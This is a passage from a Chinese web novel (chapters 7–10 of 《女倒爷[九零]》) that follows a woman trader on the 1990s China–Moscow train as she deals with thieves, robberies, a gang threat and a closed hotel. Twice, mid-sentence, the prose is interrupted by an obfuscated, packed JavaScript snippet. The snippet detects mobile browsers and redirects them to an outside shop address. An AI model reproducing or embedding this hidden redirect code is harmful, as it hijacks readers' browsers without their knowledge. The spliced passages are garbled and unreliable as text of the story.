《女倒爷[九零]》 7. 第 7 章 俄国列车的车窗与中国的不同,开窗时是由上往下的。 因此,当车窗被打开后,车外的人想要偷盗车内的物品时,上铺是最方便下手的。 于是就有小偷扒着车厢,将长钩从敞开的窗户处探进来,钩走乘客放在上铺的贵重物品。 车内喧闹,加之买东西的人都围在过道一侧的车厢外,车上的人都忙着卖货,一时间竟然没人注意到发生在车厢另一侧的犯罪。 何长宜一眼就看到那个正在偷她的皮夹克的家伙,与此同时,对方也看到了她。 但这家伙不仅没有被发现的慌张,反而还加快动作,半个身子探进来,当着何长宜的面就去扯上铺的行李袋,完全没把这个中国女人当回事。 眼见他就要得手,何长宜大怒。 那可是进货价只有七十块,而售价足足有五千卢布的皮!夹!克! “放下我的皮夹克!” 惊雷般的一声大吼,小偷被惊得一激灵,差点没拿稳钩子。 何长宜冲上前,一把扯住小偷手里攥着的皮夹克,猛然一拽—— 对方毫无防备,被拽得失去平衡,半个身子歪进车内,抓着皮夹克的手下意识松开,转而扶着车窗以防头朝下栽下去。 鸣笛声响起,列车缓慢启动。 小偷狠狠地瞪了这个该死的大嗓门女人一眼,打算松手跳下车。 然而,何长宜却丢开皮夹克,抬手扯住了他的双臂,使他无法逃离。 小偷半截身体在车内,半截身体在车外,被迫挂在车窗上,而列车此时正在驶离伊尔库茨克站,车速越来越快。 他惊怒交加,冲着何长宜叽哩哇啦地输出一大堆。 何长宜只听明白几句苏卡不列,眼睛一瞪,这家伙还敢骂人? 她手上的力气松了松,小偷就立刻向下滑了几公分,垂在车外的脚尖几乎能感受到车轮的震动。 小偷的脸都吓白了,语调立刻变得哀婉起来,即使听不懂俄语的人,此时也知道他这是在求饶。 何长宜不为所动,让他就这么在车窗上晾着。 “妈呀,你这是在干什么?” 心满意足卖完货的谢世荣,刚一转身,就看到包厢内惊人的一幕。 他急忙从小桌板和铺位上分别收回两条腿,抬手把没卖完的货物扫进行李袋,又把钱塞进了下衣,这才好整以暇地过来看热闹。 “这老毛子是谁啊?什么情况?” 包厢外,不少人被何长宜的那一嗓子吸引了注意力,只是刚刚被谢世荣挡着过不来,现在一窝蜂地涌了过来。 “他怎么得罪这姑娘了?她可不是个善茬……” “真够狠的,这要是掉下去了不得被火车碾成两段啊?” “两段?你说多了,直接就是肉泥!” “要不然怎么说得罪谁也别得罪女人呢……” 身后议论纷纷,何长宜头也不回,朗声说道: “这家伙在车窗外拿钩子偷东西,被我逮了个现行……” 话音未落,众人哄地吵闹起来。 “是小偷!” “你快去看看,咱们的行李有没有少!” “唉!我少了两件皮夹克!” “我的羽绒服没了!” 来往中俄的倒爷们谁没被偷过,几乎没人能把货物一件不少地带到俄罗斯。 运气好的,在路上丢个三五件衣服;运气差的,整包行李都能被偷走。 当得知何长宜抓了个小偷时,饱受小偷之苦的倒爷们沸腾了。 “把他推下去!” “扔下车!” 还有人持不同看法。 “不能这么便宜了他!” “就是,把他拉回来,让他赔我们的钱!” “没钱打一顿出出气也行!” 倒爷们群情激奋,已经有人开始撸袖子,打算给小偷点颜色瞧瞧。 小偷被吓得涕泪横流,鼻涕在脸上结成了两行冰溜。 出乎所有人意料的是,何长宜谁的话也没听,反而扬声喊道: “谢迅,谢迅!” 听到召唤,谢迅艰难地拨开了人群,在抱怨声中挤进包厢。 何长宜对他说:“你去把列车员叫来,告诉她我抓了个小偷,让她来处理一下。” 听到何长宜的话,倒爷们都很不满。 “你找列车员干嘛,她能解决什么问题?” “这帮俄国人都是一伙的,你找她不相当于放虎归山吗?” “到底是女人,就是不够狠心,心慈手软的,干不成大事……” “我还真当她是个人物呢,原来也不过如此!” 一片抱怨声中,何长宜对嗓门最大的倒爷示意。 “来,你厉害,这小偷给你。” 那个倒爷嘴角一抽,看看何长宜,又看看快被冻僵的小偷,默不作声,一转身钻进了人群。 ——当他傻啊,这会儿的小偷和烫手山芋有什么两样,他疯了才接手。 何长宜又对另一个叫嚣着要把小偷扔下车的倒爷示意。 “他不来,那你来。” 这个倒爷也不来,嘟囔着什么“我就开个玩笑”之类的话,见没人搭茬,干笑了两声,溜了。 “你,你,你,还有你。” 何长宜跟可汗大点兵似的,把刚刚说话的倒爷挨个点了一遍。 被何长宜点到的倒爷纷纷后退。 谁也不傻,千里迢迢来俄罗斯是为了求财,而不是为了蹲大牢、在西伯利亚种土豆。 要是没人看到,把这个小偷扔下车也就扔了;可现在众目睽睽之下,除了中国人,还有好几个老外也在探头探脑地往这儿看,这不是自己将把柄往别人手上递吗? 要是被人举报,下半辈子就喜提西伯利亚永居了。 列车员满头大汗地赶了过来,一起来的还有这趟列车的车长。 在他们的帮助下,何长宜把小偷拖进了车厢里。 当看到列车员时,他冻僵的脸上露出感激涕零的神色,几乎要哭出来。 车长让列车员将小偷关押在工作间,将在下一站把他交给当地警察。 没乐子看了,人们悻悻散去,回到各自的包厢。 谢世荣啧啧称奇。 “哎呀呀,你可真够厉害啊,我们这一路就等着靠你保护了。” 老狐狸说话阴阳怪气,三分真七分假,何长宜直接忽视,倒把他憋得够呛。 谢迅关注的则是其他方面。 “你没受伤吧?” 何长宜活动了一下手腕,刚刚在窗边被寒风吹了太久,有点麻酥酥的疼痒。 谢迅连忙去打了一盆热水,毛巾浸湿拧干,用滚烫的毛巾来给她敷手腕。 何长宜冲他一笑:“多谢。” 谢迅的手掌被烫的通红,恍若未觉,抬眼打量了一下何长宜的面色,才慢慢说道: “老毛子不是什么好东西,时间长了你就知道了,这一路上的贼抓都抓不完,要是每次都和他们计较的话,这生意也没法做了。” 谢迅是好意,何长宜点点头。 “我知道了,不过是顺手的事,没什么大不了。” 谢迅的目光中带着些许探寻之意,最后什么也没说,端着有些凉的水盆出去,又打了一盆滚烫的开水,继续帮何长宜敷手腕。 谢世荣冷眼旁观,哼笑一声。 “女人……” 离开伊尔库茨克站后,列车深入俄罗斯腹地,从一望无际的荒原变成了稀稀落落的城镇。 沿线的车站对这趟“倒爷专列”热情极了。 每当列车停靠站台,就有许多俄罗斯人挥舞着卢布追车买货。 何长宜带来的皮夹克和“阿迪达斯”早已卖完,换回了十一万余卢布,折合人民币五千八百多元。 而她当初进货时才花了一千八百元,足有四千块钱的毛利! 距离莫斯科还有两天的车程,闲极无聊,何长宜就去帮谢迅卖货,顺便多接触一些俄罗斯买家,以便她决定下次进货的品类和数量。 谢迅一口应允,谢世荣倒有些犹豫。 他嘴上假惺惺表示不好意思让何长宜受累,实则怕她吞钱,只肯让她做些跑腿拿货的事情。 何长宜乐得轻松,就在下一站时,只帮谢迅拿一拿皮夹克和羽绒服。 置身事外,何长宜能比之前观察到更多的细节。 俄罗斯人抢着买货,有什么就买什么,完全不挑,不管是不合脚的鞋子,还是反季节的夏装,一心要将手里的卢布换成实实在在的物资。 在抢购的狂潮中,有的倒爷卖上了头,竟将自己身 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谢迅抢回了羽绒服,但也结结实实地挨了两警棍。 他疼得呲牙咧嘴,却选择先把抢回来的羽绒服卖掉,之后才返回列车。 何长宜皱着眉头问他:“打得严重吗?” 谢迅露出若无其事的笑容。 “我没事,这算什么,挠痒痒都比这劲儿大——哎,等等,你干嘛……” 不顾谢迅的反抗,何长宜强行扒开他的衣服,看到背上被打过的地方红肿起来,边缘开始散出青紫色的淤血。 她抬手不轻不重地摁了一下棍痕,谢迅倒吸一口冷气。 何长宜似笑非笑:“不疼?” 谢迅苦着脸:“有点……” 何长宜反问:“只是有点?” 谢迅立刻修改说辞:“很疼,非常疼!” 何长宜找列车员借来药箱,简单处理了一下谢迅身上的伤口。 整个过程中,他掩耳盗铃似的将脑袋埋在床上,假装自己是块案板上的猪肉。 谢世荣撇着嘴,一副看不过眼的表情。 列车一路西行,奇怪的是,当抵达叶卡捷琳堡站时,原本不愁卖的货物却出现了滞销的情况。 原本低于五千卢布不卖的皮夹克,此时四千五百卢布也能卖。 何长宜有些奇怪,谢迅解释道: “离莫斯科越近越不好卖,趁现在还卖得动,得赶紧卖掉。” 车上的倒爷们大概都是这个想法,疯狂甩卖货物,一副要轻装挺进莫斯科的模样。 然而,每个站的停靠时间有限,即使他们折价出售,也还是有不少货没能卖出去。 当列车缓缓开动时,谢世荣还在抓紧最后的时间卖货。 他探着身,从车外的俄罗斯老太手中接过一把卢布,往手上吐了一口唾沫,一张一张地点了起来。 列车开始提速,下面的人从走到跑,焦急地追着火车。 何长宜提醒道: “你还没给人家衣服。” 谢世荣不耐烦地说: “急什么?我还没数完呢,要是少了一张你赔我啊?” 车外的俄罗斯老太已经追着车跑了起来,满脸都是慌乱。 谢世荣还在磨磨蹭蹭地数着钱,几张面值一千的卢布被他翻来覆去数了好几遍,怎么也数不完。 老妇人努力朝车窗伸出手,急得不停地用俄语喊着什么。 满地都是轨道减震的碎石子,老太只顾着追车,一个没留意,整个人前扑摔倒,车轮危险地在她身边滚动。 其他倒爷围在窗边在看笑话,谢迅熟视无睹,转身在铺位上收拾起了没卖出去的衣服。 何长宜看了看车内众人,又看看车外急得快要哭出来的老妇人。 列车卷起的风吹掉她的头巾,露出花白的头发。 何长宜忽然上前,直接把衣服塞到车窗外,手一松,衣服顺着风罩在了追车人的头上。 俄罗斯老太掀开头上的衣服,惊喜地从地上爬起来,拿在手里看了又看,脸上露出笑容。 而谢世荣急了。 “哎,你干嘛!” 8. 第 8 章 “我干嘛?” 何长宜冷冷地说: “一手交钱一手交货,天经地义的事,怎么,你有意见?” 谢世荣忿忿道: “我还没数完钱呢!” 何长宜嗤笑一声。 “就这几张钞票?我看你到莫斯科也数不完!” 谢世荣气道: “你!” 谢迅连忙上前拉住谢世荣,挡在两人之间。 “好了好了,反正也拿到钱了,衣服给就给了吧……” 谢世荣顺着台阶就下,嘴里还在嘟嘟囔囔地抱怨。 “生意不是这么做的……再说了,有她这样的吗?不帮中国人帮俄罗斯人……” 谢世荣越想越气,故意转过脸不看何长宜,提高了嗓门。 “哼,内奸!多管闲事!” 何长宜看了他一眼,谢世荣自己闭上嘴,气哼哼地往铺位上一躺,指挥谢迅去给他打水泡茶。 谢迅朝何长宜尴尬地笑笑,提着热水壶出去了。 何长宜看向窗外的雪景。 这趟倒爷专列上没有真正的无辜者,受害者和加害者的身份总在不断转换。 傍晚的时候,列车到达彼尔姆,这是抵达莫斯科前的最后一个大站。 明天就要到莫斯科,车上的倒爷们疯狂甩卖,车下的俄罗斯人疯狂抢购。 俄罗斯人什么都不挑,见了货就买,倒爷手上原本还有一些被前几站的人挑剩下的次品,此时也通通倾销出去。 这次何长宜没帮谢家叔侄卖货,抄兜站在一旁看热闹。 一个挺脸熟的倒爷看到何长宜闲着,喊她:“你那套阿迪达斯还卖不卖?要卖赶紧卖,要不然就真成抹布了!” 他说的是何长宜在满洲里火车站买到的高价劣质品。 她将三套中还能挽救的衣服修补后拼成了两套,剩下一条长短腿的裤子和袖子颜色不同的上衣。 谢世荣窜包厢聊天的时候,把这事儿当作笑料讲给了别人。 旅途单调,火车上娱乐方式有限,众人闲极无聊,四处找人吹牛打屁,这事儿就这么传了出去。 这个倒爷对何长宜还算有好感,特地过来提醒她一句,别真把花钱进的货当抹布使了,卖出去多少能挣点。 何长宜笑着摇摇头。 这破烂玩意卖给俄罗斯人,她都觉得是在给祖国脸上抹黑。 虽说无商不奸,但好歹也得有点良心吧。 不过,显然车上的人不是都这么想。 这趟车在彼尔姆站只停留了二十分钟,当火车启动的时候,一个金发的俄罗斯姑娘追着火车,不断拍着车窗。 何长宜被窗外的动静吸引了注意力,她看到金发姑娘手上拿着一件缺了一只袖子的“阿迪达斯”,指着衣服不断地说着什么。 车上的人都冷漠地看着她,有人笑嘻嘻地说: “嘿,真倒霉!” 金发姑娘急得直掉眼泪,但车上的人都无动于衷。 不管是把假冒伪劣四个字占全了的衣服卖给她的倒爷,还是看热闹的其他人,没有一丝的同情。 火车加速,金发姑娘被远远甩到了车后。 她跑不动了,弯腰撑着膝盖,气得直哭,恨自己买衣服的时候没看清楚,白白浪费一个月的工资。 就在此时,忽然一件衣服掉在她面前。 金发姑娘泪眼朦胧地捡起衣服,先看到了阿迪达斯的标志,摊开一看,是一件袖子一蓝一黑的运动衫。 她惊喜不已,不管这件衣服是从哪儿来的,但袖子正好可以拆下来缝在她买的那件缺袖衣服上! 天父保佑! “这下好了,连抹布都没了。” 谢世荣嘲道:“善良,真是太善良了,你要是早二十年出生,共|产主义都得实现。” 谢迅扯了他一把,示意他别说了。 何长宜问他:“那衣服是你卖的?” 谢世荣像是被踩了尾巴的老猫。 “我怎么可能在满洲里买这种垃圾衣服!” 何长宜说:“那不就得了,不是你卖的你有什么好心虚的。” 谢世荣语塞。 “我、我、我才不心虚!我行得正坐得直,半夜不怕鬼敲门,我有什么好怕的!” 何长宜只回了一个字。 “呵。” 谢世荣感觉自己受到了莫大的侮辱,但考虑到何长宜简直不像女人的暴力,他保持了可贵的隐忍。 货卖得差不多,倒爷们都闲了下来,三三两两地凑成一堆,或去餐车吃饭,或躲在铺位上数钱。 谢家叔侄关上门点货数钱,并不住地用家乡话说着什么。 谢世荣拿着一摞字典般厚实的卢布,时不时犹疑地看何长宜一眼,像是想做点什么,但因为她的存在而不能做。 何长宜起身出门,清楚地听到身后谢世荣松了一口气。 她都走出包厢了,忽然又转身回来,对着被吓一跳的谢世荣说: “藏钱的时候注意点,天花板的板壁已经松动了,放太多卢布会掉下来,我建议你换个地方。” 话毕,何长宜施施然转身就走,身后谢世荣气急败坏地问谢迅: “她怎么知道我把钱藏在天花板了?!” 何长宜去了餐车,和前几天不同,今天来吃饭的人不少。 大概是因为货都卖完了,倒爷们不需要时时刻刻守在货物旁边,终于能来餐车吃点热食。 何长宜点了煎鸡蛋、面包和汤,共计花了一百三十卢布,合计人民币六块五。 看上去不贵,但听说现在俄罗斯人的平均月工资只有一千卢布左右,而这样简单的一餐饭就要花掉十分之一的工资。 通货膨胀,恐怖如斯。 何长宜吃完饭回去的时候,看到了第一天上车时见到的中年男人。 在占位未果、被赶出包厢后,这家伙没敢再回来,不知躲到了哪里。 不过现在看来,这六天他过得应该还算不错,红光满面,正拉着一群人开赌。 此时倒爷们正是手头最松的时候,全身上下最不缺的就是钱了。 中年男人一呼百应,一群好赌的倒爷围了过来,摆开架势就玩了起来。 一摞摞的卢布像废纸般堆在地上,有的倒爷模仿起美国电影,抽出张卢布,点燃后用来点烟。 列车员闻到烟味赶了过来,指着墙上的禁烟标志叽里呱啦说着什么。 倒爷们不以为意,放声大笑: “不就是要罚款吗?老子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15942844|177435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的是钱!拿去,不用找了,算我赏你的!” 中年倒爷看到路过的何长宜,像是想起被她爆肝的剧痛,脸上肌肉不自然地抽搐。 何长宜不躲不避地与他对视,中年男人率先挪开目光,掩饰般的喊道: “还玩不玩了?赶紧的,不玩换人!” “玩玩玩!谁不敢玩谁是孙子!” “来了,开盅!” 明天就到这一趟列车的终点站,快要熄灯的时候,谢家叔侄看上去有些紧张。 谢世荣神经质地不断试验卡门栓上的小玩意是否起作用了,测试包厢门能不能从外面打开。 谢迅则是将没卖完的货物都堆到门边,以起到阻挡的作用。 想想不放心,谢世荣又让谢迅定了闹钟,每隔两个小时就换班值夜。 何长宜被这两人的紧张气氛所感染,但手头没有合适的家伙事儿,就把铺位上的床单拆下来,在水里泡湿后拧成麻花状,放在窗外冻了一会儿,变成一根硬邦邦的冰鞭。 何长宜拿回来试了试,感觉还挺顺手,就又放到窗外冻着了。 接着她又将灌满了开水的暖壶放在最顺手的位置,可以随时拔开塞子泼出去。 谢家叔侄看得目瞪口呆,何长宜有些不好意思地说: “条件简陋,将就一下吧。” 谢迅坚定地把暖壶放到桌下。 “这种打架的粗活儿就交给我们吧。” 他在心里默默补充了一句:要是真让她动手,只怕包厢除她以外所有人都要变成烫毛死猪。 这一夜,车上的人都没能睡好。 半夜的时候,何长宜敏锐地听到包厢外的过道传来细碎的脚步声、门板开合声,还有发出了一半的惨叫声。 谢家叔侄没能按照事先排好的值夜表轮班,两人都死死盯着门把手。 不过不知是不是因为之前踩点的时候没能打开这扇门,亦或是这个包厢里的人不是赚钱最多的,总之,他们惊险万分而又平安无事地度过了这一夜。 第二天清晨,当外面的人声渐渐多了起来,谢世荣才指挥谢迅打开了包厢门。 他到外面打听消息,不一会儿就回来了,心有余悸地说: “周围几个包厢都被抢了!幸好我们把门锁住、他们进不来,要不然也得被抢!” 何长宜走出包厢,看到有人狼狈地瘫坐在地,脸上都是被打出的淤青。 “呜呜呜,他们把我的钱都抢走了!我借钱进的货,这下要怎么还啊!” “抢钱就抢钱,打我做什么……我都给钱了,凭什么还要打人……” “该死的俄罗斯,老子以后再也不来了!” 其他逃过一劫的人忍不住庆幸道: “幸好我没赚多少钱,要不然也得被抢!” “这帮抢劫的是怎么知道谁赚的多谁赚的少的?难不成有内鬼?” “你看我做什么,我差点也被抢了!我晚上都没敢睡觉,一直守在门口,就怕有人闯进来……” “唉,这狗日的,好不容易赚的钱,全特么贡献给了小偷强盗!” 车轮滚滚向前,在延误了五个小时之后,列车终于抵达了终点站——莫斯科。 是暂时的结束,也是一个崭新的开始。 9. 第 9 章 出人意料的是,莫斯科火车站非常的—— 脏乱差。 满地垃圾,污水横流,到处是乞丐和醉鬼。 看得出来,这座位于莫斯科市中心的火车站曾经非常的雄伟壮观,而现在却是破旧不堪,像是一件被虫噬出洞的泛黄蕾丝裙。 与中国不同,俄罗斯的火车站不需要检票,可以随意进出。 车站里,有人在地上铺了报纸席地而卧,有人靠着墙喝酒,到处都是抽烟的家伙。 中俄班列的乘客们鱼贯而出,陌生的异国面庞引来许多人不怀好意的注视。 倒爷们下意识将装满了卢布的皮包抱在胸前,试图隔绝四面八方投来的觊觎视线。 何长宜顺着人群走出火车站,新奇地看着眼前的景象。 对她而言,这里的一切都是全然陌生的。 一个亟待探索的新地图。 “何小姐,你千万要小心,不要相信这儿的任何人,老毛子绝对不能信,不认识的中国人最好也别信……” 分别前,谢迅热情地向何长宜科普莫斯科生存小常识。 谢世荣不耐烦地插了一嘴: “有完没完?婆婆妈妈的,话怎么这么多!赶紧的,还要去取托运的行李呢!” 谢迅有些遗憾地收声,转而向何长宜伸出一只手。 “那何小姐,我们就再见了?” 理论上来说握手应该是女士或上位者主动伸手,但在经过六天六夜的同吃同住,此时再计较这些社交礼仪似乎有些不合时宜。 何长宜干脆地握住他的手,用力摇了两下后干脆松开。 “忙你的去吧,我这儿没什么可担心的。” 谢世荣说:“听见了没?人家不需要你惦记!” 谢迅也不恼,笑眯眯地说:“好歹让我帮何小姐叫一辆去旅馆的出租车,她刚来莫斯科,连俄语都说不顺,送佛送到西,帮人也要帮到底。” 谢世荣拗不过谢迅,只好气哼哼地放任他去讨好那个除了脸蛋一无是处的凶女人。 然而,当谢迅转过头来时,却找不到何长宜的身影。 “何小姐?” 她像一滴水珠般,顺滑无比地汇入了人来人往的莫斯科。 谢迅若有所思地垂下眼帘,刚刚握过的那只手虚虚地合拢了一下。 ……很警惕呢。 谢世荣催促道:“走啦!人家都不稀罕你,我都懒得讲你,看到漂亮女人就巴巴凑上去……” 谢迅只是说:“何小姐不是你说的那种人。” 谢世荣不屑道:“那她是什么人?还能是仙女不成?” 谢迅露出一个和平常完全不同,带着点攻击性的笑容。 “一个很厉害,也很有意思的女人” 谢家叔侄的声音越来越远,直至被周围人群的俄语完全覆盖。 何长宜走在莫斯科的街头,在这里,她的身高不再显眼,甚至显得有几分娇小。 不过她一贯的大跨步的行走方式,看起来倒有几分气势。 走到一处十字路口,何长宜看看地图,伸手示意要搭乘出租车。 然而,出租车还没到,本地特产就先来了。 一个穿着全套“阿迪达斯”运动衫鞋的俄罗斯版精神小伙挡在何长宜面前,对着她随身携带的行李袋虎视眈眈。 袋子里除了卢布就是卢布,要是被人抢走,她就准备一路乞讨到大使馆求遣返回国吧。 她后退一步,眼睛盯着精神小伙,同时将行李袋的背带在手腕上缠绕一圈。 路过的人见怪不怪,面无表情地绕过这个疑似抢劫案发现场。 精神小伙指了指她手里的行李袋,对着何长宜凶神恶煞地说了一长串话。 “听不懂,不过——” 何长宜突然笑了:“敢抢老娘的钱,送你一句话,苏卡不列。” 精神小伙也听不懂何长宜说的中文,但苏卡不列还是听得懂的,当即惊讶又生气,没想到这个亚洲女人不仅不乖乖交出卢布,竟然还敢骂人。 他上前一步,抬手就要去推何长宜的肩膀。 何长宜眯起眼睛,握紧拳头,瞄准了他空门大开的肝区。 正在此时,一道俄罗斯男声忽然响起。 精神小伙动作一顿,和何长宜同时看向出声的俄罗斯男人。 一头熊…… 这是何长宜在看到他时的第一反应。 男人个子极高,大概有一米九,肩宽体壮,站在那里时投下的阴影能将人完全笼罩。 黑发,灰眸,看人时像正在狩猎的狼。 他穿着旧夹克,头发剃得极短,气质危险,像是黑手党。 或者他原本就是。 精神小伙不甘心地嘟囔了句什么,在男人沉默而充满压力的注视中,被迫放弃到手的肥肉,狠狠地瞪了一眼何长宜,悻悻地转向旁边另一个提着包刚下火车的旅客。 旁边传来求救的惊呼,何长宜看向面前的男人,蓄力反击的拳头没有放松,反而更加紧绷。 男人却对她的行李袋不感兴趣,只是冷冷看了她一眼,默不作声,转身离开。 直到男人走远,何长宜才慢慢吐出一口气。 这鬼地方不能待了,得赶紧走。 何长宜快步离开这里,在高鼻深目的斯拉夫人中惊喜地发现一群黄种人时,便赶紧凑了过去。 好歹让她在这里安安稳稳地打个车。 然而,这群人并没有在异国他乡看到同胞的友善,反而诡异地打量着何长宜。 其中几个人分别朝旁边走了几步,隐隐形成了一个包围圈。 不会吧…… 何长宜顿觉不妙,转身就要走。 然而有人从衣服里掏出尺长的蒙古刀,对着何长宜就逼上前来。 何长宜:……刚出狼窝又入虎穴,倒霉催的,她怎么就一头扎进蒙古人的贼窝了! 早在火车上时,她就听其他倒爷提起过这趟列车的蒙古小偷。 这帮人充分发挥了祖上的游牧精神,偷不成就抢,抢不成就打,敢在车上抡着斧头劈人。 倒爷们没少遭蒙古人的罪,说起来那叫一个咬牙切齿。 何长宜原本还在庆幸这回在车上没遇到蒙古小偷,结果没成想,下了火车反而遇上成建制的蒙古黑|帮。 她当时就想去教堂给本地天父供点卢布。 何长宜脑子飞快转动,要怎么从持刀的匪徒中无伤脱身。 她余光看到不远处有一个警察,连忙冲他大喊: “卡达乌!” 卡达乌是俄语中救命的意思,除了苏卡不列,何长宜就属对这个词记得最清楚。 “卡达乌!卡达乌!卡达乌!” 生怕警察先生听不到,何长宜挥着手,冲他喊了好几声。 然而,那个中年警察只是漠然地朝这边看了一眼,就转身离开。 何长宜楞了一下,是她表述的还不够清楚?还是这里的情况不够明确? 一个拎着行李袋的孤身女人被一群不怀好意的持刀男人包围,就算是傻子也该意识到不对劲了。 而那个警察就这么若无其事地离开? 继放走本国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15942845|177435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小偷、棍打外国受害者之后,何长宜再一次被俄罗斯的警察震惊了。 虽然不是社会|主义国家了,但总不能连现代文明社会都不当了吧? ——显然,他们真敢。 何长宜眼睁睁地看着中年警察越走越远,面前的蒙古人露出嘲笑的神情,像是笑话她这个异国人一点都没入乡随俗,居然还敢指望本地警察救命。 看来只能靠自己了…… 何长宜抿着嘴,紧紧盯着周围的蒙古人,观察他们之间站位的空隙,随时准备夺命狂奔。 而蒙古人也意识到这个女人不是他们之前捏过的软柿子。 他们互相使着眼色,像鬣狗狩猎一样,堵住她所有可能逃走的方向。 就在冲突一触即发时,忽然,有人突兀地闯进了猎场。 “#¥%&*@#!” 蒙古人们脸色一变,出鞘的刀又藏回了袖子里,若无其事地往后退,像是什么都没发生。 何长宜只看到了一道挡在她面前的身影,穿着警察制服,瘦而高,帽子下露出的头发是金色的。 他一手摁着腰间枪套,身体绷得很紧,警惕地看向蒙古人。 直到蒙古人一哄而散,他转身拉着何长宜就走,步速极快,几乎是半抱半拖,直到将她带到一处安全的位置才慢了下来。 也是直到此时,何长宜才看清了他的脸。 金发蓝眼…… 熟悉的长相,不熟悉的表情。 至少在友谊商店时,他看起来没这么严肃。 小警察才认出何长宜,有些惊讶地瞪大了眼,叽里咕噜地说着什么。 何长宜抱歉地一摊手。 “对不住,我听不懂你在说什么。” 她只学了卖货和救命的几句,咳咳,还有脏话,其他的还没来得及学。 小警察意识到双方语言不通,伸手拿过何长宜手上的地图,比划着问她去哪儿。 何长宜将地图上圈着的一处旅馆位置指给他。 小警察看了看,到路边拦下一辆出租车,拉开门,将何长宜塞了进去,又探身和司机说了些什么,这才关上门,示意司机开车。 何长宜摇下车窗。 “什么时候能再见到你?” 小警察疑惑地挑眉,他的脸像是童话里的快乐王子,璀璨而纯洁,有种奇异的色气。 至少在何长宜看来是这样。 特别是刚刚脱离险境时,他那极具反差的表现让人记忆深刻。 迷人至极。 更迷人的是他的制服。 何长宜拉住小警察的手,将一只钢笔递到他的手上,撸起袖子,露出来雪白胳膊。 “把你的电话写在这里。” “至少在莫斯科,我还想再见到你。” 小警察不知是听懂了,还是看明白了何长宜的动作,抿起薄薄的嘴唇,耳朵泛起浅浅的红晕。 出租车司机也不催促,饶有兴致地探头看戏,满脸写着八卦。 何长宜拉过他的手,催促他快点写。 小警察看了眼何长宜,快速在她手上写了一串数字,然后强行将她的胳膊塞回车内,示意司机快点开车。 何长宜笑眯眯地和他道别,一路都在欣赏着那一串字体优美的数字,直到车辆抵达斯旺旅馆。 这家旅馆是谢迅推荐的,据说是中国人开的,专门接待中国人,是刚到莫斯科时最合适的住处。 然而当何长宜到达旅馆,却发现门口摆放一张巨大的牌子,上面用生硬的字体写着一行中文—— 【禁止中国人入内!】 10. 第 10 章 斯旺旅馆的门口乱糟糟的,地上堆满了装满货物的行李袋和垃圾。 有的行李袋塞得过满,拉链崩开,里面的皮夹克和羽绒服像爆米花似的溢了出来。 惊爆眼球的色|情海报和杂志大咧咧地暴露在阳光下。 几个醉汉昏头昏脑地坐在地上,眼睛红通通的,不住地揉脸打哈欠。 还有几把斧头随意扔在地上,旁边栓了凶神恶煞、流着涎水的大狗。 旅馆门口围满了人,大都是中国人,对着一片狼藉指指点点。 “什么情况,这旅馆怎么说倒闭就倒闭,还‘禁止中国人入内’?老板发哪门子疯?” “你不知道?” “我刚从国内进货回来,我上哪儿知道去?!” “嗨,还不是老毛子闹得,说什么以后房子不租给中国人了,逼着我们退房。这不,我昨儿打了一晚上的牌,还没睡醒,就让逼着把房间腾出来……” “有钱都不赚,老毛子脑袋让枪崩了吧!” 何长宜站在一旁,从旁人的交谈中听明白了事情的前因后果。 这家斯旺旅馆原本是俄国人开的,后来大量中国倒爷涌向莫斯科,其中头脑精明的人和俄国老板商谈,承包了旅馆的两层楼,专门接待中国人。 但不知何故,俄国老板突然反悔,强行收回了承包出去的两层楼。 住在里面的中国倒爷被赶了出来,门口还竖起一张禁止中国人入内的牌子。 也不知期间发生了什么,能让俄国老板如此恨意深重,简直像直男网恋被女装基佬骗炮,结果喜滋滋上床时发现对面掏出来比自己还大而且他还是下面那个(……) 何长宜有些头疼。 莫斯科这地儿是不是和她犯冲? 自从下了火车就没遇见好事儿,不是差点被抢劫,就是旅馆倒闭,挣点卢布比去西天取经还难。 她是不是真得去教堂拜一拜本地玄学扛把子? 都说东西结合疗效更好,要不然让神父拿柚子叶往她身上泼点圣水去去晦气? 何长宜一边深思熟虑东西玄学叠加的可行性,一边抽空琢磨一下今晚住处的问题。 至少住的地方得让她不用担心睡觉时被枪指着脑门抢劫。 一辆大卡车停在旅馆门口,几个倒爷吆喝着将地上的货物搬到车厢上。 眼见旅馆倒闭成了既成事实,门口站着的人群开始陆陆续续地散去。 何长宜挑了一个长得最面善的,打听大伙儿接下来要去哪儿住。 大哥热心地告诉她莫斯科还有一家中国人开的贝加尔旅馆,不过就是收费比斯旺旅馆贵了点。 何长宜跟着人群去了贝加尔旅馆,这里的环境果然要比斯旺旅馆好多了,当然价格也很可观,住宿费一千卢布/天 ——相当于本国人一个月的工资,相当昂贵。 但即使已经这么贵了,由于她来得有点晚,太多倒爷涌入,贝加尔旅馆已经没有多余床位。 站在旅馆门口,何长宜仰天长叹。 真是没想到,竟然有一天她会遇上有钱没处花的苦恼。 与斯旺旅馆不同,贝加尔旅馆门口站着的大多是中亚人,他们两手空空,看到中国面孔就兴奋地围上来。 其中就有人找上了何长宜,用生涩的中文问她换不换美元。 何长宜问他换汇的比价是多少,对方犹豫了一下,打出1:150的手势。 何长宜算了一下,按这个汇率,她手上的卢布大概可以换成七百多美元,正好方便带回国。 不过此时天色已晚,不是个换汇的好时间,两人约好明天在贝加尔旅馆碰面。 